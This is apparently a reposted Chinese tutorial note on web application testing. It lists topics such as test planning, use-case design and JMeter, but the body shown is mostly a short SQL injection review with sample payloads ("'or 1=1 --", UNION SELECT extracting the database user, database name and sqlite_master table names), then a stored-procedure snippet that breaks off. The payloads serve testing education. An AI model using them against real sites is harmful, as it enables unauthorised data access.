概述
测试:web项目实践
- 测试:web项目实践
-
- 一、复习
- 1.sql注入:
-
- 2.在数据库中插入上万条数据
- 二、web项目实测试
- 1.系统测试流程
-
- 1.1、项目
- 1.2、需求
- 1.3、编写测试计划
- 2.需求分析和用例设计
-
- 2.1、独立功能测试分析之新增
-
- 一、对界面初始化数据进行分析:
- 二、针对界面可见数据进行分析
- 三、针对界面不可见数据进行分析
- 四、成功或失败对其他地方的影响
- 3.功能测试
- 三、测试用例的设计规范
- 四、场景法
- 五、正交试验法
- 六、测试用例评审
-
- 1.流程遵循:CMMI3+以上级别流程 或 ios9026以上流程
- 七、jmeter的使用
-
- 1.添加http请求:
- 2.添加查看结果树(在线程组中添加)
- 3.发送请求
- 4.查看响应
- 5.录制脚本
- 6.查看请求内容
- 7.查看结果树
- 8.提取响应文本中的内容并设置为变量
- 9.设置断言
- 10.添加随机数
- 11.数据驱动
测试:web项目实践
一、复习
1.sql注入:
'or 1=1 –
union前后表的列数需要一致:
select * from employees where emp_no=81783 union select '1','2','3','4','1','6';
可以换成自己需要的:
select * from employees where emp_no=81783 union select '1','2','3','4',USER(),DATABASE();
可以使用union进行sql注入:
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_master --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', name FROM sqlite_master —
2.在数据库中插入上万条数据
``
删除存储过程,如果这个名字的已存在
DROP PROCEDURE if exists insert_data_pro;
由于语句较多,使用这个告诉mysql,看看$$就表示语句结束了。
DELIMITER $$
建立存储过程名字叫 insert_data_pro
CREATE
PROCEDURE insert_data_pro()
BEGIN 开始
最后
以上就是动听大侠为你收集整理的测试:web项目实践测试:web项目实践的全部内容,希望文章能够帮你解决测试:web项目实践测试:web项目实践所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复